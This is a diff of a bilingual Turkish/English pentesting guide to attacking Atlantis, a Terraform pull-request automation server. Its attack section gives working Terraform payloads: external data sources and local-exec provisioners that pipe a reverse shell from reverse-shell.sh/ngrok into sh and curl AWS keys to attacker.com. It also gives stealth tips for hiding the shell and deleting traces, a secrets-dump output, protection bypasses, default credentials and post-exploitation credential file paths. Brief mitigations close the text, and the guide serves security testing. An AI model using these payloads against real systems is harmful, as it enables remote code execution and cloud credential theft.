[Belgelerden:](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
|
||||
Atlantis, **Atlantis'in barındırıldığı** sunucuda `terraform plan` ve `apply` komutlarını **çalıştırarak** Terraform'u çalıştırır. Terraform'u yerel olarak çalıştırdığınızda olduğu gibi, Atlantis'in belirli sağlayıcınız için kimlik bilgilerine ihtiyacı vardır.
|
||||
Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider.
|
||||
|
||||
Atlantis'e belirli sağlayıcınız için [kimlik bilgilerini nasıl sağladığınız](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) size bağlıdır:
|
||||
It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis:
|
||||
|
||||
- Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) ve [AWS Fargate Modülü](https://www.runatlantis.io/docs/deployment.html#aws-fargate) kendi kimlik bilgileri mekanizmalarına sahiptir. Belgelerini okuyun.
|
||||
- Atlantis'i bir bulutta çalıştırıyorsanız, birçok bulut, üzerinde çalışan uygulamalara bulut API erişimi sağlama yollarına sahiptir, örneğin:
|
||||
- [AWS EC2 Rolleri](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (EC2 Rolü için arama yapın)
|
||||
- [GCE Instance Service Hesapları](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
|
||||
- Birçok kullanıcı, Atlantis'in çalıştığı yerde ortam değişkenleri ayarlar, örneğin `AWS_ACCESS_KEY`.
|
||||
- Diğerleri, Atlantis'in çalıştığı yerde gerekli yapılandırma dosyalarını oluşturur, örneğin `~/.aws/credentials`.
|
||||
- Sağlayıcı kimlik bilgilerini elde etmek için [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) kullanın.
|
||||
- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs.
|
||||
- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
|
||||
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role")
|
||||
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
|
||||
- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running.
|
||||
- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running.
|
||||
- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials.
|
||||
|
||||
> [!WARNING]
|
||||
> **Atlantis'in** **çalıştığı** **konteyner**, muhtemelen Atlantis'in Terraform aracılığıyla yönettiği sağlayıcılara (AWS, GCP, Github...) ait **ayrıcalıklı kimlik bilgilerini** içerecektir.
|
||||
> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform.
|
||||
|
||||
#### Web Sayfası
|
||||
#### Web Page
|
||||
|
||||
Varsayılan olarak Atlantis, **localhost'ta 4141 numaralı portta bir web sayfası çalıştıracaktır**. Bu sayfa, yalnızca atlantis apply'i etkinleştirmenize/devre dışı bırakmanıza ve repo'ların plan durumunu kontrol etmenize ve kilidini açmanıza izin verir (değişiklik yapmanıza izin vermez, bu yüzden çok faydalı değildir).
|
||||
By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful).
|
||||
|
||||
Muhtemelen internete açılmış olarak bulamayacaksınız, ancak varsayılan olarak **erişim için kimlik bilgisi gerekmediği** görünmektedir (ve eğer gerekiyorsa `atlantis`:`atlantis` **varsayılan** olanlardır).
|
||||
You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones).
|
||||
|
||||
### Sunucu Yapılandırması
|
||||
### Server Configuration
|
||||
|
||||
`atlantis server` yapılandırması, komut satırı bayrakları, ortam değişkenleri, bir yapılandırma dosyası veya bunların bir karışımı aracılığıyla belirtilebilir.
|
||||
Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three.
|
||||
|
||||
- Atlantis sunucusu tarafından desteklenen [**bayrakların listesini buradan bulabilirsiniz**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration)
|
||||
- [**Bir yapılandırma seçeneğini bir ortam değişkenine nasıl dönüştüreceğinizi buradan bulabilirsiniz**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
|
||||
- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server
|
||||
- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
|
||||
|
||||
Değerler **bu sırayla seçilir**:
|
||||
Values are **chosen in this order**:
|
||||
|
||||
1. Bayraklar
|
||||
2. Ortam Değişkenleri
|
||||
3. Yapılandırma Dosyası
|
||||
1. Flags
|
||||
2. Environment Variables
|
||||
3. Config File
|
||||
|
||||
> [!WARNING]
|
||||
> Yapılandırmada, **token'lar ve şifreler** gibi ilginç değerler bulabileceğinizi unutmayın.
|
||||
> Note that in the configuration you might find interesting values such as **tokens and passwords**.
|
||||
|
||||
#### Repo Yapılandırması
|
||||
#### Repos Configuration
|
||||
|
||||
Bazı yapılandırmalar, **repo'ların nasıl yönetildiğini** etkiler. Ancak, **her repo'nun farklı ayarlar gerektirmesi** mümkündür, bu nedenle her repo'yu belirtmenin yolları vardır. Öncelik sırası şudur:
|
||||
Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order:
|
||||
|
||||
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) dosyası. Bu dosya, atlantis'in repo'yu nasıl ele alması gerektiğini belirtmek için kullanılabilir. Ancak, varsayılan olarak bazı anahtarların burada belirtilmesine izin verilmez.
|
||||
2. `allowed_overrides` veya `allow_custom_workflows` gibi bayraklarla izin verilmesi muhtemeldir.
|
||||
3. [**Sunucu Tarafı Yapılandırması**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): `--repo-config` bayrağı ile geçirebilirsiniz ve bu, her repo için yeni ayarları yapılandıran bir yaml'dır (regex desteklenir).
|
||||
4. **Varsayılan** değerler.
|
||||
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it.
|
||||
1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows`
|
||||
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported)
|
||||
3. **Default** values
|
||||
|
||||
**PR Koruma Önlemleri**
|
||||
**PR Protections**
|
||||
|
||||
Atlantis, **PR**'nin başka birisi tarafından **`onaylanmasını`** (bu, dal korumasında ayarlanmamış olsa bile) ve/veya **`birleştirilebilir`** (dal korumaları geçildi) olmasını istemeniz durumunda, apply çalıştırmadan önce belirtmenize olanak tanır. Güvenlik açısından, her iki seçeneği de ayarlamak önerilir.
|
||||
Atlantis allows to indicate if you want the **PR** to be **`approved`** by somebody else (even if that isn't set in the branch protection) and/or be **`mergeable`** (branch protections passed) **before running apply**. From a security point of view, to set both options a recommended.
|
||||
|
||||
`allowed_overrides` True olduğunda, bu ayarlar **her projede `/atlantis.yml` dosyasıyla** **üst üste yazılabilir**.
|
||||
In case `allowed_overrides` is True, these setting can be **overwritten on each project by the `/atlantis.yml` file**.
|
||||
|
||||
**Betikler**
|
||||
**Scripts**
|
||||
|
||||
Repo yapılandırması, bir **iş akışı çalıştırılmadan önce** [**çalıştırılacak betikleri**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_ön iş akışı kancaları_) ve [**sonrasında**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_son iş akışı kancaları_) **belirtebilir**.
|
||||
The repo config can **specify scripts** to run [**before**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_pre workflow hooks_) and [**after**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_post workflow hooks_) a **workflow is executed.**
|
||||
|
||||
Bu betikleri **repo `/atlantis.yml`** dosyasında **belirtme** seçeneği yoktur.
|
||||
There isn't any option to allow **specifying** these scripts in the **repo `/atlantis.yml`** file. However, if there is a confgured script to execute that is located in the same repo, it's possible to **modify it's content in a PR and make it execute arbitrary code.**
|
||||
|
||||
**İş Akışı**
|
||||
**Workflow**
|
||||
|
||||
Repo yapılandırmasında (sunucu tarafı yapılandırması), [**yeni bir varsayılan iş akışı belirtebilirsiniz**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow) veya [**yeni özel iş akışları oluşturabilirsiniz**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Ayrıca, hangi **repo'ların** **oluşturulan yeni** iş akışlarına **erişebileceğini** de **belirtebilirsiniz**.\
|
||||
Daha sonra, her repo'nun **atlantis.yaml** dosyasının **kullanılacak iş akışını belirtmesine** izin verebilirsiniz.
|
||||
In the repo config (server side config) you can [**specify a new default workflow**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), or [**create new custom workflows**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** You can also **specify** which **repos** can **access** the **new** ones generated.\
|
||||
Then, you can allow the **atlantis.yaml** file of each repo to **specify the workflow to use.**
|
||||
|
||||
> [!CAUTION]
|
||||
> Eğer [**sunucu tarafı yapılandırma**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) bayrağı `allow_custom_workflows` **True** olarak ayarlanmışsa, iş akışları her repo'nun **`atlantis.yaml`** dosyasında **belirtilerek** **tanımlanabilir**. Ayrıca, **`allowed_overrides`**'ın da **`workflow`**'u **üst üste yazmak için** belirtmesi muhtemelen gereklidir.\
|
||||
> Bu, temelde **bu repo'ya erişebilen herhangi bir kullanıcıya Atlantis sunucusunda RCE verecektir**.
|
||||
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.\
|
||||
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
|
||||
>
|
||||
> ```yaml
|
||||
> # atlantis.yaml
|
||||
@@ -124,20 +124,21 @@ Daha sonra, her repo'nun **atlantis.yaml** dosyasının **kullanılacak iş akı
|
||||
> steps: - run: my custom apply command
|
||||
> ```
|
||||
|
||||
**Conftest Politika Kontrolü**
|
||||
**Conftest Policy Checking**
|
||||
|
||||
Atlantis, plan çıktısına karşı **sunucu tarafında** [**conftest**](https://www.conftest.dev/) **politikalarını** çalıştırmayı destekler. Bu adımı kullanmanın yaygın kullanım durumları şunlardır:
|
||||
Atlantis supports running **server-side** [**conftest**](https://www.conftest.dev/) **policies** against the plan output. Common usecases for using this step include:
|
||||
|
||||
- Bir modül listesinin kullanımını reddetmek
|
||||
- Bir kaynağın oluşturulma zamanındaki niteliklerini doğrulamak
|
||||
- İstemeden kaynak silmelerini yakalamak
|
||||
- Güvenlik risklerini önlemek (örneğin, güvenli portları halka açmak)
|
||||
- Denying usage of a list of modules
|
||||
- Asserting attributes of a resource at creation time
|
||||
- Catching unintentional resource deletions
|
||||
- Preventing security risks (ie. exposing secure ports to the public)
|
||||
|
||||
Bunu nasıl yapılandıracağınızı [**belgelerde**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) kontrol edebilirsiniz.
|
||||
You can check how to configure it in [**the docs**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works).
|
||||
|
||||
### Atlantis Komutları
|
||||
### Atlantis Commands
|
||||
|
||||
[**In the docs**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) you can find the options you can use to run Atlantis:
|
||||
|
||||
[**Belgelerde**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) Atlantis'i çalıştırmak için kullanabileceğiniz seçenekleri bulabilirsiniz:
|
||||
```bash
|
||||
# Get help
|
||||
atlantis help
|
||||
@@ -160,82 +161,94 @@ atlantis apply [options] -- [terraform apply flags]
|
||||
## --verbose
|
||||
## You can also add extra terraform options
|
||||
```
|
||||
### Saldırılar
|
||||
|
||||
### Attacks
|
||||
|
||||
> [!WARNING]
|
||||
> Eğer istismar sırasında bu **hata** ile karşılaşırsanız: `Error: Error acquiring the state lock`
|
||||
> If during the exploitation you find this **error**: `Error: Error acquiring the state lock`
|
||||
|
||||
You can fix it by running:
|
||||
|
||||
Bunu çalıştırarak düzeltebilirsiniz:
|
||||
```
|
||||
atlantis unlock #You might need to run this in a different PR
|
||||
atlantis plan -- -lock=false
|
||||
```
|
||||
#### Atlantis plan RCE - Yeni PR'de Konfigürasyon Değişikliği
|
||||
|
||||
Bir depoya yazma erişiminiz varsa, üzerinde yeni bir dal oluşturabilir ve bir PR oluşturabilirsiniz. Eğer **`atlantis plan`** **komutunu çalıştırabiliyorsanız (ya da belki otomatik olarak çalıştırılıyorsa)** **Atlantis sunucusunda RCE yapabilirsiniz**.
|
||||
#### Atlantis plan RCE - Config modification in new PR
|
||||
|
||||
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis plan`** (or maybe it's automatically executed) **you will be able to RCE inside the Atlantis server**.
|
||||
|
||||
You can do this by making [**Atlantis load an external data source**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source). Just put a payload like the following in the `main.tf` file:
|
||||
|
||||
Bunu, [**Atlantis'in harici bir veri kaynağını yüklemesini sağlayarak**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) yapabilirsiniz. `main.tf` dosyasına aşağıdaki gibi bir payload ekleyin:
|
||||
```json
|
||||
data "external" "example" {
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
|
||||
}
|
||||
```
|
||||
**Gizli Saldırı**
|
||||
|
||||
Bu saldırıyı daha **gizli bir şekilde** gerçekleştirebilirsiniz, bu önerileri takip ederek:
|
||||
**Stealthier Attack**
|
||||
|
||||
You can perform this attack even in a **stealthier way**, by following this suggestions:
|
||||
|
||||
- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell:
|
||||
|
||||
- Rev shell'i doğrudan terraform dosyasına eklemek yerine, rev shell'i içeren **harici bir kaynağı** **yükleyebilirsiniz**:
|
||||
```javascript
|
||||
module "not_rev_shell" {
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
|
||||
}
|
||||
```
|
||||
Rev shell kodunu [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) adresinde bulabilirsiniz.
|
||||
|
||||
- Dış kaynakta, **ref** özelliğini kullanarak repo içinde **bir dalda terraform rev shell kodunu gizleyin**, şöyle bir şey: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- **Master'a PR oluşturmak yerine** Atlantis'i tetiklemek için **2 dal oluşturun** (test1 ve test2) ve birinden diğerine **PR oluşturun**. Saldırıyı tamamladıktan sonra, sadece **PR'yi ve dalları kaldırın**.
|
||||
You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
#### Atlantis plan Gizli Bilgileri Dökümü
|
||||
- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- **Instead** of creating a **PR to master** to trigger Atlantis, **create 2 branches** (test1 and test2) and create a **PR from one to the other**. When you have completed the attack, just **remove the PR and the branches**.
|
||||
|
||||
#### Atlantis plan Secrets Dump
|
||||
|
||||
You can **dump secrets used by terraform** running `atlantis plan` (`terraform plan`) by putting something like this in the terraform file:
|
||||
|
||||
Terraform tarafından kullanılan **gizli bilgileri dökebilirsiniz** `atlantis plan` (`terraform plan`) komutunu çalıştırarak, terraform dosyasına şöyle bir şey koyarak:
|
||||
```json
|
||||
output "dotoken" {
|
||||
value = nonsensitive(var.do_token)
|
||||
value = nonsensitive(var.do_token)
|
||||
}
|
||||
```
|
||||
#### Atlantis apply RCE - Yeni PR'de Konfigürasyon Değişikliği
|
||||
|
||||
Bir depoya yazma erişiminiz varsa, üzerinde yeni bir dal oluşturabilir ve bir PR oluşturabilirsiniz. Eğer **`atlantis apply` komutunu çalıştırabiliyorsanız, Atlantis sunucusunda RCE gerçekleştirebilirsiniz**.
|
||||
#### Atlantis apply RCE - Config modification in new PR
|
||||
|
||||
Ancak genellikle bazı korumaları aşmanız gerekecektir:
|
||||
If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can **execute `atlantis apply` you will be able to RCE inside the Atlantis server**.
|
||||
|
||||
- **Birleştirilebilir**: Eğer bu koruma Atlantis'te ayarlanmışsa, yalnızca **PR birleştirilebilir olduğunda `atlantis apply` çalıştırabilirsiniz** (bu, dal korumasının aşılması gerektiği anlamına gelir).
|
||||
- Potansiyel [**dal koruma aşmaları**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) kontrol edin.
|
||||
- **Onaylı**: Eğer bu koruma Atlantis'te ayarlanmışsa, `atlantis apply` komutunu çalıştırmadan önce **başka bir kullanıcının PR'yi onaylaması gerekir**.
|
||||
- Varsayılan olarak, bu korumayı aşmak için [**Gitbot token'ını kullanabilirsiniz**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md).
|
||||
However, you will usually need to bypass some protections:
|
||||
|
||||
- **Mergeable**: If this protection is set in Atlantis, you can only run **`atlantis apply` if the PR is mergeable** (which means that the branch protection need to be bypassed).
|
||||
- Check potential [**branch protections bypasses**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
- **Approved**: If this protection is set in Atlantis, some **other user must approve the PR** before you can run `atlantis apply`
|
||||
- By default you can abuse the [**Gitbot token to bypass this protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
|
||||
|
||||
Running **`terraform apply` on a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
You just need to make sure some payload like the following ones ends in the `main.tf` file:
|
||||
|
||||
Kötü niyetli bir Terraform dosyasında **`terraform apply` çalıştırmak** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
|
||||
Sadece `main.tf` dosyasının sonunda aşağıdaki gibi bir yükün bulunduğundan emin olmalısınız:
|
||||
```json
|
||||
// Payload 1 to just steal a secret
|
||||
resource "null_resource" "secret_stealer" {
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
|
||||
}
|
||||
}
|
||||
|
||||
// Payload 2 to get a rev shell
|
||||
resource "null_resource" "rev_shell" {
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
provisioner "local-exec" {
|
||||
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
|
||||
}
|
||||
}
|
||||
```
|
||||
Önceki teknikten **önerileri takip ederek** bu saldırıyı **daha gizli bir şekilde** gerçekleştirin.
|
||||
|
||||
Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way**.
|
||||
|
||||
#### Terraform Param Injection
|
||||
|
||||
`atlantis plan` veya `atlantis apply` çalıştırıldığında, terraform altında çalıştırılmaktadır, atlantis'ten terraform'a komutlar geçirebilirsiniz, şöyle yorum yaparak:
|
||||
When running `atlantis plan` or `atlantis apply` terraform is being run under-needs, you can pass commands to terraform from atlantis commenting something like:
|
||||
|
||||
```bash
|
||||
atlantis plan -- <terraform commands>
|
||||
atlantis plan -- -h #Get terraform plan help
|
||||
@@ -243,17 +256,18 @@ atlantis plan -- -h #Get terraform plan help
|
||||
atlantis apply -- <terraform commands>
|
||||
atlantis apply -- -h #Get terraform apply help
|
||||
```
|
||||
Geçirebileceğiniz şeylerden biri, bazı korumaları aşmak için faydalı olabilecek env değişkenleridir. Terraform env değişkenlerini kontrol edin [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
|
||||
|
||||
#### Özel İş Akışı
|
||||
Something you can pass are env variables which might be helpful to bypass some protections. Check terraform env vars in [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables)
|
||||
|
||||
Bir `atlantis.yaml` dosyasında belirtilen **kötü niyetli özel derleme komutlarını** çalıştırmak. Atlantis, pull request dalından **`atlantis.yaml`** dosyasını kullanır, **master**'dan değil.\
|
||||
Bu olasılık daha önceki bir bölümde belirtilmiştir:
|
||||
#### Custom Workflow
|
||||
|
||||
Running **malicious custom build commands** specified in an `atlantis.yaml` file. Atlantis uses the `atlantis.yaml` file from the pull request branch, **not** of `master`.\
|
||||
This possibility was mentioned in a previous section:
|
||||
|
||||
> [!CAUTION]
|
||||
> Eğer [**sunucu tarafı yapılandırma**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) bayrağı `allow_custom_workflows` **True** olarak ayarlanmışsa, iş akışları her repo için **`atlantis.yaml`** dosyasında **belirtilmiş** olabilir. Ayrıca, kullanılacak iş akışını **geçersiz kılmak için** **`allowed_overrides`**'ın da **`workflow`**'u belirtmesi gerekebilir.
|
||||
> If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allow_custom_workflows` is set to **True**, workflows can be **specified** in the **`atlantis.yaml`** file of each repo. It's also potentially needed that **`allowed_overrides`** specifies also **`workflow`** to **override the workflow** that is going to be used.
|
||||
>
|
||||
> Bu, **o repoya erişebilen herhangi bir kullanıcıya Atlantis sunucusunda RCE verecektir**.
|
||||
> This will basically give **RCE in the Atlantis server to any user that can access that repo**.
|
||||
>
|
||||
> ```yaml
|
||||
> # atlantis.yaml
|
||||
@@ -272,97 +286,99 @@ Bu olasılık daha önceki bir bölümde belirtilmiştir:
|
||||
> - run: my custom apply command
|
||||
> ```
|
||||
|
||||
#### Plan/uygulama korumalarını aşma
|
||||
#### Bypass plan/apply protections
|
||||
|
||||
If the [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) flag `allowed_overrides` _has_ `apply_requirements` configured, it's possible for a repo to **modify the plan/apply protections to bypass them**.
|
||||
|
||||
Eğer [**sunucu tarafı yapılandırma**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) bayrağı `allowed_overrides` _`apply_requirements`_ yapılandırılmışsa, bir repo **plan/uygulama korumalarını değiştirmek için** **bypass** edebilir.
|
||||
```yaml
|
||||
repos:
|
||||
- id: /.*/
|
||||
apply_requirements: []
|
||||
- id: /.*/
|
||||
apply_requirements: []
|
||||
```
|
||||
|
||||
#### PR Hijacking
|
||||
|
||||
Eğer biri **`atlantis plan/apply` yorumları gönderirse geçerli pull request'lerinize,** bu terraform'un istemediğiniz bir zamanda çalışmasına neden olur.
|
||||
If someone sends **`atlantis plan/apply` comments on your valid pull requests,** it will cause terraform to run when you don't want it to.
|
||||
|
||||
Ayrıca, eğer **branch protection** ayarlarında **yeni bir commit gönderildiğinde** her PR'nın **yeniden değerlendirilmesini** istemiyorsanız, biri terraform konfigürasyonuna **kötü niyetli konfigürasyonlar** yazabilir (önceki senaryolara bakın), `atlantis plan/apply` çalıştırabilir ve RCE elde edebilir.
|
||||
Moreover, if you don't have configured in the **branch protection** to ask to **reevaluate** every PR when a **new commit is pushed** to it, someone could **write malicious configs** (check previous scenarios) in the terraform config, run `atlantis plan/apply` and gain RCE.
|
||||
|
||||
Bu, Github branch protections'daki **ayar**dır:
|
||||
This is the **setting** in Github branch protections:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Webhook Secret
|
||||
|
||||
Eğer kullanılan **webhook secret'ını çalmayı başarırsanız** veya **hiçbir webhook secret** kullanılmıyorsa, **Atlantis webhook'unu çağırabilir** ve **atlantis komutlarını** doğrudan çalıştırabilirsiniz.
|
||||
If you manage to **steal the webhook secret** used or if there **isn't any webhook secret** being used, you could **call the Atlantis webhook** and **invoke atlatis commands** directly.
|
||||
|
||||
#### Bitbucket
|
||||
|
||||
Bitbucket Cloud **webhook secret'larını desteklememektedir**. Bu, saldırganların **Bitbucket'tan gelen istekleri taklit etmesine** olanak tanıyabilir. Sadece Bitbucket IP'lerine izin verdiğinizden emin olun.
|
||||
Bitbucket Cloud does **not support webhook secrets**. This could allow attackers to **spoof requests from Bitbucket**. Ensure you are allowing only Bitbucket IPs.
|
||||
|
||||
- Bu, bir **saldırganın** **Atlantis'e** Bitbucket'tan geliyormuş gibi görünen **sahte istekler yapabileceği** anlamına gelir.
|
||||
- Eğer `--repo-allowlist` belirtiyorsanız, yalnızca o reposlarla ilgili sahte istekler yapabilirler, bu nedenle verebilecekleri en büyük zarar, kendi reposunuzda plan/apply yapmak olacaktır.
|
||||
- Bunu önlemek için [Bitbucket'ın IP adreslerini](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) beyaz listeye alın (Çıkış IPv4 adreslerine bakın).
|
||||
- This means that an **attacker** could make **fake requests to Atlantis** that look like they're coming from Bitbucket.
|
||||
- If you are specifying `--repo-allowlist` then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.
|
||||
- To prevent this, allowlist [Bitbucket's IP addresses](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html) (see Outbound IPv4 addresses).
|
||||
|
||||
### Post-Exploitation
|
||||
|
||||
Eğer sunucuya erişim sağladıysanız veya en azından bir LFI elde ettiyseniz, okumanız gereken bazı ilginç şeyler var:
|
||||
If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read:
|
||||
|
||||
- `/home/atlantis/.git-credentials` VCS erişim kimlik bilgilerini içerir
|
||||
- `/atlantis-data/atlantis.db` Daha fazla bilgi ile birlikte VCS erişim kimlik bilgilerini içerir
|
||||
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform durum dosyası
|
||||
- Örnek: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
|
||||
- `/proc/1/environ` Çevre değişkenleri
|
||||
- `/proc/[2-20]/cmdline` `atlantis server` komut satırı (hassas veriler içerebilir)
|
||||
- `/home/atlantis/.git-credentials` Contains vcs access credentials
|
||||
- `/atlantis-data/atlantis.db` Contains vcs access credentials with more info
|
||||
- `/atlantis-data/repos/<org_name>`_`/`_`<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate` Terraform stated file
|
||||
- Example: /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
|
||||
- `/proc/1/environ` Env variables
|
||||
- `/proc/[2-20]/cmdline` Cmd line of `atlantis server` (may contain sensitive data)
|
||||
|
||||
### Mitigations
|
||||
|
||||
#### Don't Use On Public Repos <a href="#don-t-use-on-public-repos" id="don-t-use-on-public-repos"></a>
|
||||
|
||||
Herkesin kamuya açık pull request'lere yorum yapabileceği için, mevcut tüm güvenlik önlemlerine rağmen, Atlantis'i kamuya açık reposlarda uygun güvenlik ayarları olmadan çalıştırmak hala tehlikelidir.
|
||||
Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings.
|
||||
|
||||
#### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
|
||||
|
||||
Eğer kamuya açık bir repoda çalışıyorsanız (bu önerilmez, yukarıya bakın) `--allow-fork-prs` ayarını yapmamalısınız (varsayılan olarak false) çünkü herkes kendi fork'undan sizin repoya bir pull request açabilir.
|
||||
If you're running on a public repo (which isn't recommended, see above) you shouldn't set `--allow-fork-prs` (defaults to false) because anyone can open up a pull request from their fork to your repo.
|
||||
|
||||
#### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
|
||||
|
||||
Atlantis, `--repo-allowlist` bayrağı aracılığıyla webhooks kabul edeceği repoların bir beyaz listesini belirtmenizi gerektirir. Örneğin:
|
||||
Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the `--repo-allowlist` flag. For example:
|
||||
|
||||
